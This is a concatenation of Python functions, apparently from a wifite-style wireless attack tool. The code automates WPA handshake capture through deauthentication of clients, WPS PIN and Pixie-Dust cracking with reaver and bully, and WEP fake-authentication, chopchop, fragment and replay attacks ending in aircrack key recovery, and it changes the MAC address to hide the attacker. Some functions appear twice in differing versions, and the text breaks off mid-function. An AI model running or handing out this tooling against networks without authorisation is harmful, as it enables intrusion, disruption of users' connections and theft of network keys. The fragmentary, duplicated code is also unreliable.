def select_targets(self): ''' Asks user to select target(s) ''' if len(self.targets) == 0: # TODO Print a more-helpful reason for failure. # 1. Link to wireless drivers wiki, # 2. How to check if your device supporst monitor mode, # 3. Provide airodump-ng command being executed. raise Exception("No targets found." + " You may need to wait longer," + " or you may have issues with your wifi card") self.print_targets() Color.clear_entire_line() input_str = '{+} select target(s)' input_str += ' ({G}1-%d{W})' % len(self.targets) input_str += ' separated by commas, dashes' input_str += ' or {G}all{W}: ' chosen_targets = [] for choice in raw_input(Color.s(input_str)).split(','): if choice == 'all': chosen_targets = self.targets break if '-' in choice: # User selected a range (lower,upper) = [int(x) - 1 for x in choice.split('-')] for i in xrange(lower, min(len(self.targets), upper)): chosen_targets.append(self.targets[i]) elif choice.isdigit(): choice = int(choice) - 1 chosen_targets.append(self.targets[choice]) else: pass return chosen_targets
def print_targets(self): ''' Prints targets to console ''' if len(self.targets) == 0: Color.p('\r') return if self.previous_target_count > 0: # We need to "overwrite" the previous list of targets. if Configuration.verbose <= 1: # Don't clear screen buffer in verbose mode. if self.previous_target_count > len(self.targets) or \ Scanner.get_terminal_height() < self.previous_target_count + 3: # Either: # 1) We have less targets than before, so we can't overwrite the previous list # 2) The terminal can't display the targets without scrolling. # Clear the screen. from Process import Process Process.call('clear') else: # We can fit the targets in the terminal without scrolling # "Move" cursor up so we will print over the previous list Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count)) self.previous_target_count = len(self.targets) # Overwrite the current line Color.p('\r') Target.print_header() for (index, target) in enumerate(self.targets): index += 1 Color.clear_entire_line() Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
def random(cls): # Use --permanent to use random MAC address if not cls.down_macch_up("-r"): return cls.is_changed = True from Configuration import Configuration new_mac = Interface.get_mac(Configuration.interface) Color.clear_entire_line() Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
def reset(cls): # --permanent to reset to permanent MAC address if not cls.down_macch_up("-p"): return Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...") from Configuration import Configuration new_mac = Interface.get_mac(Configuration.interface) Color.clear_entire_line() Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
def __init__(self): ''' Starts scan, prints as it goes. Upon interrupt, sets 'targets'. ''' self.previous_target_count = 0 self.targets = [] self.target = None # Specific target (based on ESSID/BSSID) Color.pl("") # Loads airodump with interface/channel/etc from Configuration with Airodump() as airodump: try: # Loop until interrupted (Ctrl+C) while True: if airodump.pid.poll() != None: # Airodump process died! raise Exception( "Airodump exited unexpectedly! " + "Command ran: %s" % ' '.join(airodump.pid.command)) self.targets = airodump.get_targets() if self.found_target(): # We found the target we want return self.print_targets() target_count = len(self.targets) client_count = sum( [len(t.clients) for t in self.targets]) outline = "\r{+} Scanning" if airodump.decloaking: outline += " & decloaking" outline += ". Found" outline += " {G}%d{W} target(s)," % target_count outline += " {G}%d{W} client(s)." % client_count outline += " {O}Ctrl+C{W} when ready " decloaked = airodump.decloaked_targets if len(decloaked) > 0: outline += "(decloaked" outline += " {C}%d{W} ESSIDs:" % len(decloaked) outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked]) Color.clear_entire_line() Color.p(outline) sleep(1) except KeyboardInterrupt: pass
def print_targets(self): ''' Prints targets to console ''' if len(self.targets) == 0: Color.p('\r') return if self.previous_target_count > 0: # We need to "overwrite" the previous list of targets. if Configuration.verbose <= 1: # Don't clear screen buffer in verbose mode. if self.previous_target_count > len(self.targets) or \ Scanner.get_terminal_height() < self.previous_target_count + 3: # Either: # 1) We have less targets than before, so we can't overwrite the previous list # 2) The terminal can't display the targets without scrolling. # Clear the screen. from Process import Process Process.call('clear') else: # We can fit the targets in the terminal without scrolling # "Move" cursor up so we will print over the previous list Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count)) self.previous_target_count = len(self.targets) # Overwrite the current line Color.p('\r') # First row: columns Color.p(' NUM') Color.p(' ESSID') if Configuration.show_bssids: Color.p(' BSSID') Color.pl(' CH ENCR POWER WPS? CLIENT') # Second row: separator Color.p(' ---') Color.p(' -------------------------') if Configuration.show_bssids: Color.p(' -----------------') Color.pl(' --- ---- ----- ---- ------') # Remaining rows: targets for idx, target in enumerate(self.targets, start=1): Color.clear_entire_line() Color.p(' {G}%s ' % str(idx).rjust(3)) Color.pl(target.to_str(Configuration.show_bssids))
def deauth(self, target): ''' Sends deauthentication request to broadcast and every client of target. Args: target - The Target to deauth, including clients. ''' if Configuration.no_deauth: return for index, client in enumerate([None] + self.clients): if client is None: target_name = "*broadcast*" else: target_name = client Color.clear_entire_line() Color.pattack("WPA", target, "Handshake capture", "Deauthing {O}%s{W}" % target_name) Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
def run(self): with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='wps_pin') as airodump: # Wait for target Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "Waiting for target to appear...") self.target = self.wait_for_target(airodump) # Start bully self.bully_proc = Process(self.cmd, stderr=Process.devnull(), bufsize=0, cwd=Configuration.temp()) t = Thread(target=self.parse_line_thread) t.daemon = True t.start() try: while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "{R}failed: {O}%s{W}" % e) Color.pl("") self.stop() break Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), self.get_status()) time.sleep(0.5) except KeyboardInterrupt as e: self.stop() raise e except Exception as e: self.stop() raise e if self.crack_result is None: Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "{R}Failed{W}\n")
def run(self): with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='wps_pin') as airodump: # Wait for target Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "Waiting for target to appear...") self.target = self.wait_for_target(airodump) # Start bully self.bully_proc = Process(self.cmd, stderr=Process.devnull(), bufsize=0, cwd=Configuration.temp()) t = Thread(target=self.parse_line_thread) t.daemon = True t.start() try: while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "{R}failed: {O}%s{W}" % e) Color.pl("") self.stop() break Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), self.get_status()) time.sleep(0.5) except KeyboardInterrupt as e: self.stop() raise e except Exception as e: self.stop() raise e if self.crack_result is None: Color.clear_entire_line() Color.pattack("WPS", self.target, self.attack_type(), "{R}Failed{W}\n")
def user_wants_to_stop(self, current_attack, attacks_remaining, target): ''' Ask user what attack to perform next (re-orders attacks_remaining, returns False), or if we should stop attacking this target (returns True). ''' target_name = target.essid if target.essid_known else target.bssid Color.pl("\n\n{!} {O}Interrupted") Color.pl("{+} {W}Next steps:") # Deauth clients & retry attack_index = 1 Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name)) # Move onto a different WEP attack for attack_name in attacks_remaining: attack_index += 1 Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name)) # Stop attacking entirely attack_index += 1 Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index) while True: answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index)) if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index: Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index) continue answer = int(answer) break if answer == 1: # Deauth clients & retry deauth_count = 1 Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...") Aireplay.deauth(target.bssid, essid=target.essid) for client in target.clients: Color.clear_entire_line() Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station) Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid) deauth_count += 1 Color.clear_entire_line() Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count) # Re-insert current attack to top of list of attacks remaining attacks_remaining.insert(0, current_attack) return False # Don't stop elif answer == attack_index: return True # Stop attacking elif answer > 1: # User selected specific attack: Re-order attacks based on desired next-step attacks_remaining.insert(0, attacks_remaining.pop(answer-2)) return False # Don't stop
def down_macch_up(cls, macch_option): cls.init() from Process import Process from Configuration import Configuration iface = Configuration.interface cmd = ["ifconfig", iface, "down"] Color.clear_entire_line() Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface) ifdown = Process(cmd) ifdown.wait() if ifdown.poll() != 0: Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr())) return False cmd = ["macchanger", macch_option, iface] Color.clear_entire_line() Color.p( "\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface) macch = Process(cmd) macch.wait() if macch.poll() != 0: Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr())) return False cmd = ["ifconfig", iface, "up"] Color.clear_entire_line() Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface) ifup = Process(cmd) ifup.wait() if ifup.poll() != 0: Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd)) Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr())) return False return True
def parse_line(self, line): # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) if got_beacon: # group(1)=ESSID, group(2)=BSSID self.state = "Got beacon" # [+] Last State = 'NoAssoc' Next pin '48855501' last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: # group(1)=result, group(2)=PIN result = "Start" # last_state.group(1) pin = last_state.group(2) self.state = "Trying PIN:{C}%s{W}" % pin # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) if rx_m: # group(1)=M3/M5, group(2)=result, group(3)=PIN self.m_state = rx_m.group(1) result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad if result in ["Pin1Bad", "Pin2Bad"]: self.pins_attempted += 1 self.consecutive_lockouts = 0 # Reset lockout count self.consecutive_timeouts = 0 # Reset timeout count self.consecutive_noassoc = 0 # Reset timeout count result = "{G}%s{W}" % result elif result == "Timeout": self.consecutive_timeouts += 1 result = "{O}%s{W}" % result elif result == "NoAssoc": self.consecutive_noassoc += 1 result = "{O}%s{W}" % result else: result = "{R}%s{W}" % result pin = rx_m.group(3) self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) # [!] WPS lockout reported, sleeping for 43 seconds ... lock_out = re.search( r".*WPS lockout reported, sleeping for (\d+) seconds", line) if lock_out: sleeping = lock_out.group(1) self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping self.consecutive_lockouts += 1 # [Pixie-Dust] WPS pin not found pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) if pixie_re: self.state = "{R}Failed{W}" # [+] Running pixiewps with the information, wait ... pixie_re = re.search(r".*Running pixiewps with the information", line) if pixie_re: self.state = "{G}Running pixiewps...{W}" # [*] Pin is '80246213', key is 'password' # [*] Pin is '11867722', key is '9a6f7997' pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) # PIN : '80246213' pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) if pin_re: self.cracked_pin = pin_re.group(1) # KEY : 'password' key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re: self.cracked_key = key_re.group(1) #warn_re = re.search(r"\[\!\]\s*(.*)$", line) #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) if not self.crack_result and self.cracked_pin and self.cracked_key: Color.clear_entire_line() Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") Color.pl("") self.crack_result = CrackResultWPS(self.target.bssid, self.target.essid, self.cracked_pin, self.cracked_key) Color.pl("") self.crack_result.dump() return True else: return False
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack #'--delay', '0', #'--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = 'initializing' time_since_last_step = 0 with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='pixie') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) Color.pl("") return False stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() is not None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.clear_entire_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") return False if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", step) time.sleep(1) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False
def run(self): ''' Initiates full WEP attack. Including airodump-ng starting, cracking, etc. Returns: True if attack is succesful, false otherwise ''' aircrack = None # Aircrack process, not started yet fakeauth_proc = None replay_file = None attacks_remaining = list(Configuration.wep_attacks) while len(attacks_remaining) > 0: attack_name = attacks_remaining.pop(0) # BIG try-catch to capture ctrl+c try: # Start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, ivs_only=True, # Only capture IVs packets skip_wash=True, # Don't check for WPS-compatibility output_file_prefix='wep') as airodump: Color.clear_line() Color.p('\r{+} {O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) fakeauth_proc = None if self.fake_auth(): # We successfully authenticated! # Use our interface's MAC address for the attacks. client_mac = Interface.get_mac() # Keep us authenticated fakeauth_proc = Aireplay(self.target, "fakeauth") elif len(airodump_target.clients) == 0: # Failed to fakeauth, can't use our MAC. # And there are no associated clients. Use one and tell the user. Color.pl('{!} {O}there are no associated clients{W}') Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' + ' without fake-authentication or associated clients{W}') client_mac = None else: # Fakeauth failed, but we can re-use an existing client client_mac = airodump_target.clients[0].station # Convert to WEPAttackType. wep_attack_type = WEPAttackType(attack_name) # Start Aireplay process. aireplay = Aireplay(self.target, wep_attack_type, client_mac=client_mac) time_unchanged_ivs = time.time() # Timestamp when IVs last changed previous_ivs = 0 # Loop until attack completes. while True: airodump_target = self.wait_for_target(airodump) status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs) if fakeauth_proc: if fakeauth_proc and fakeauth_proc.status: status += ", {G}fakeauth{W}" else: status += ", {R}no-auth{W}" if aireplay.status is not None: status += ", %s" % aireplay.status Color.clear_entire_line() Color.pattack("WEP", airodump_target, "%s attack" % attack_name, status) #self.aircrack_check() # Check if we cracked it. if aircrack and aircrack.is_cracked(): (hex_key, ascii_key) = aircrack.get_key_hex_ascii() bssid = airodump_target.bssid if airodump_target.essid_known: essid = airodump_target.essid else: essid = None Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name) if aireplay: aireplay.stop() if fakeauth_proc: fakeauth_proc.stop() self.crack_result = CrackResultWEP(self.target.bssid, self.target.essid, hex_key, ascii_key) self.crack_result.dump() self.success = True return self.success if aircrack and aircrack.is_running(): # Aircrack is running in the background. Color.p("and {C}cracking{W}") # Check number of IVs, crack if necessary if airodump_target.ivs > Configuration.wep_crack_at_ivs: if not aircrack: # Aircrack hasn't started yet. Start it. ivs_file = airodump.find_files(endswith='.ivs')[0] aircrack = Aircrack(ivs_file) elif not aircrack.is_running(): # Aircrack stopped running. Color.pl('\n{!} {O}aircrack stopped running!{W}') ivs_file = airodump.find_files(endswith='.ivs')[0] Color.pl('{+} {C}aircrack{W} stopped, restarting...') self.fake_auth() aircrack = Aircrack(ivs_file) elif Configuration.wep_restart_aircrack > 0 and \ aircrack.pid.running_time() > Configuration.wep_restart_aircrack: # Restart aircrack after X seconds aircrack.stop() ivs_file = airodump.find_files(endswith='.ivs')[0] Color.pl('\n{+} {C}aircrack{W} ran for more than' + ' {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) aircrack = Aircrack(ivs_file) if not aireplay.is_running(): # Some Aireplay attacks loop infinitely if attack_name == 'chopchop' or attack_name == 'fragment': # We expect these to stop once a .xor is created, or if the process failed. replay_file = None # Check for .xor file. xor_file = Aireplay.get_xor() if not xor_file: # If .xor is not there, the process failed. Color.pl('\n{!} {O}%s attack{R} did not generate' % attack_name + ' a .xor file{W}') # XXX: For debugging Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break # If .xor exists, run packetforge-ng to create .cap Color.pl('\n{+} {C}%s attack{W}' % attack_name + ' generated a {C}.xor file{W}, {G}forging...{W}') replay_file = Aireplay.forge_packet(xor_file, airodump_target.bssid, client_mac) if replay_file: Color.pl('{+} {C}forged packet{W},' + ' {G}replaying...{W}') wep_attack_type = WEPAttackType("forgedreplay") attack_name = "forgedreplay" aireplay = Aireplay(self.target, 'forgedreplay', client_mac=client_mac, replay_file=replay_file) continue else: # Failed to forge packet. drop out break else: Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) Color.pl('{?} {O}Output:\n%s{W}' % aireplay.get_output()) break # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) if airodump_target.ivs > previous_ivs: time_unchanged_ivs = time.time() elif Configuration.wep_restart_stale_ivs > 0 and \ attack_name != 'chopchop' and \ attack_name != 'fragment': stale_seconds = time.time() - time_unchanged_ivs if stale_seconds > Configuration.wep_restart_stale_ivs: # No new IVs within threshold, restart aireplay aireplay.stop() Color.pl('\n{!} restarting {C}aireplay{W} after' + ' {C}%d{W} seconds of no new IVs' % stale_seconds) aireplay = Aireplay(self.target, \ wep_attack_type, \ client_mac=client_mac, \ replay_file=replay_file) time_unchanged_ivs = time.time() previous_ivs = airodump_target.ivs time.sleep(1) continue # End of big while loop # End of with-airodump except KeyboardInterrupt: if fakeauth_proc: fakeauth_proc.stop() if len(attacks_remaining) == 0: self.success = False return self.success if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target): self.success = False return self.success except Exception as e: Color.pl("\n{+} {R}Error: {O}%s{W}" % e) continue # End of big try-catch # End of for-each-attack-type loop self.success = False return self.success
def capture_handshake(self): ''' Returns captured or stored handshake, otherwise None ''' handshake = None # First, start Airodump process with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='wpa') as airodump: Color.clear_entire_line() Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...") airodump_target = self.wait_for_target(airodump) self.clients = [] # Try to load existing handshake if Configuration.ignore_old_handshakes == False: bssid = airodump_target.bssid essid = airodump_target.essid if airodump_target.essid_known else None handshake = self.load_handshake(bssid=bssid, essid=essid) if handshake: Color.pattack("WPA", self.target, "Handshake capture", "found {G}existing handshake{W} for {C}%s{W}" % handshake.essid) Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile) return handshake timeout_timer = Timer(Configuration.wpa_attack_timeout) deauth_timer = Timer(Configuration.wpa_deauth_timeout) while handshake is None and not timeout_timer.ended(): step_timer = Timer(1) Color.clear_entire_line() Color.pattack("WPA", airodump_target, "Handshake capture", "Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer)) # Find .cap file cap_files = airodump.find_files(endswith='.cap') if len(cap_files) == 0: # No cap files yet time.sleep(step_timer.remaining()) continue cap_file = cap_files[0] # Copy .cap file to temp for consistency temp_file = Configuration.temp('handshake.cap.bak') copy(cap_file, temp_file) # Check cap file in temp for Handshake bssid = airodump_target.bssid essid = airodump_target.essid if airodump_target.essid_known else None handshake = Handshake(temp_file, bssid=bssid, essid=essid) if handshake.has_handshake(): # We got a handshake Color.pl('\n\n{+} {G}successfully captured handshake{W}') break # There is no handshake handshake = None # Delete copied .cap file in temp to save space os.remove(temp_file) # Look for new clients airodump_target = self.wait_for_target(airodump) for client in airodump_target.clients: if client.station not in self.clients: Color.clear_entire_line() Color.pattack("WPA", airodump_target, "Handshake capture", "Discovered new client: {G}%s{W}" % client.station) Color.pl("") self.clients.append(client.station) # Send deauth to a client or broadcast if deauth_timer.ended(): self.deauth(airodump_target) # Restart timer deauth_timer = Timer(Configuration.wpa_deauth_timeout) # Sleep for at-most 1 second time.sleep(step_timer.remaining()) continue # Handshake listen+deauth loop if handshake is None: # No handshake, attack failed. Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout)) return handshake else: # Save copy of handshake to ./hs/ self.save_handshake(handshake) return handshake
def parse_line(self, line): # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line) if got_beacon: # group(1)=ESSID, group(2)=BSSID self.state = "Got beacon" # [+] Last State = 'NoAssoc' Next pin '48855501' last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line) if last_state: # group(1)=result, group(2)=PIN result = "Start" # last_state.group(1) pin = last_state.group(2) self.state = "Trying PIN:{C}%s{W}" % pin # [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line) if rx_m: # group(1)=M3/M5, group(2)=result, group(3)=PIN self.m_state = rx_m.group(1) result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad if result in ["Pin1Bad", "Pin2Bad"]: self.pins_attempted += 1 self.consecutive_lockouts = 0 # Reset lockout count self.consecutive_timeouts = 0 # Reset timeout count self.consecutive_noassoc = 0 # Reset timeout count result = "{G}%s{W}" % result elif result == "Timeout": self.consecutive_timeouts += 1 result = "{O}%s{W}" % result elif result == "NoAssoc": self.consecutive_noassoc += 1 result = "{O}%s{W}" % result else: result = "{R}%s{W}" % result pin = rx_m.group(3) self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result) # [!] WPS lockout reported, sleeping for 43 seconds ... lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line) if lock_out: sleeping = lock_out.group(1) self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping self.consecutive_lockouts += 1 # [Pixie-Dust] WPS pin not found pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line) if pixie_re: self.state = "{R}Failed{W}" # [+] Running pixiewps with the information, wait ... pixie_re = re.compile(r".*Running pixiewps with the information").match(line) if pixie_re: self.state = "{G}Running pixiewps...{W}" # [*] Pin is '80246213', key is 'password' pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) # PIN : '80246213' pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line) if pin_re: self.cracked_pin = pin_re.group(1) # KEY : 'password' key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line) if key_re: self.cracked_key = key_re.group(1) #warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line) #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1) if not self.crack_result and self.cracked_pin and self.cracked_key: Color.clear_entire_line() Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") self.crack_result = CrackResultWPS( airodump_target.essid, airodump_target.bssid, self.cracked_pin, self.cracked_key) return True else: return False
def run(self): ''' Initiates full WEP attack. Including airodump-ng starting, cracking, etc. Returns: True if attack is succesful, false otherwise ''' aircrack = None # Aircrack process, not started yet fakeauth_proc = None replay_file = None attacks_remaining = list(Configuration.wep_attacks) while len(attacks_remaining) > 0: attack_name = attacks_remaining.pop(0) # BIG try-catch to capture ctrl+c try: # Start Airodump process with Airodump( channel=self.target.channel, target_bssid=self.target.bssid, ivs_only=True, # Only capture IVs packets skip_wash=True, # Don't check for WPS-compatibility output_file_prefix='wep') as airodump: Color.clear_line() Color.p('\r{+} {O}waiting{W} for target to appear...') airodump_target = self.wait_for_target(airodump) fakeauth_proc = None if self.fake_auth(): # We successfully authenticated! # Use our interface's MAC address for the attacks. client_mac = Interface.get_mac() # Keep us authenticated fakeauth_proc = Aireplay(self.target, "fakeauth") elif len(airodump_target.clients) == 0: # Failed to fakeauth, can't use our MAC. # And there are no associated clients. Use one and tell the user. Color.pl('{!} {O}there are no associated clients{W}') Color.pl( '{!} {R}WARNING: {O}many attacks will not succeed' + ' without fake-authentication or associated clients{W}' ) client_mac = None else: # Fakeauth failed, but we can re-use an existing client client_mac = airodump_target.clients[0].station # Convert to WEPAttackType. wep_attack_type = WEPAttackType(attack_name) # Start Aireplay process. aireplay = Aireplay(self.target, wep_attack_type, client_mac=client_mac) time_unchanged_ivs = time.time( ) # Timestamp when IVs last changed previous_ivs = 0 # Loop until attack completes. while True: airodump_target = self.wait_for_target(airodump) status = "%d/{C}%d{W} IVs" % ( airodump_target.ivs, Configuration.wep_crack_at_ivs) if fakeauth_proc: if fakeauth_proc and fakeauth_proc.status: status += ", {G}fakeauth{W}" else: status += ", {R}no-auth{W}" if aireplay.status is not None: status += ", %s" % aireplay.status Color.clear_entire_line() Color.pattack("WEP", airodump_target, "%s attack" % attack_name, status) #self.aircrack_check() # Check if we cracked it. if aircrack and aircrack.is_cracked(): (hex_key, ascii_key) = aircrack.get_key_hex_ascii() bssid = airodump_target.bssid if airodump_target.essid_known: essid = airodump_target.essid else: essid = None Color.pl( '\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name) if aireplay: aireplay.stop() if fakeauth_proc: fakeauth_proc.stop() self.crack_result = CrackResultWEP( self.target.bssid, self.target.essid, hex_key, ascii_key) self.crack_result.dump() self.success = True return self.success if aircrack and aircrack.is_running(): # Aircrack is running in the background. Color.p("and {C}cracking{W}") # Check number of IVs, crack if necessary if airodump_target.ivs > Configuration.wep_crack_at_ivs: if not aircrack: # Aircrack hasn't started yet. Start it. ivs_file = airodump.find_files( endswith='.ivs')[0] aircrack = Aircrack(ivs_file) elif not aircrack.is_running(): # Aircrack stopped running. Color.pl( '\n{!} {O}aircrack stopped running!{W}') ivs_file = airodump.find_files( endswith='.ivs')[0] Color.pl( '{+} {C}aircrack{W} 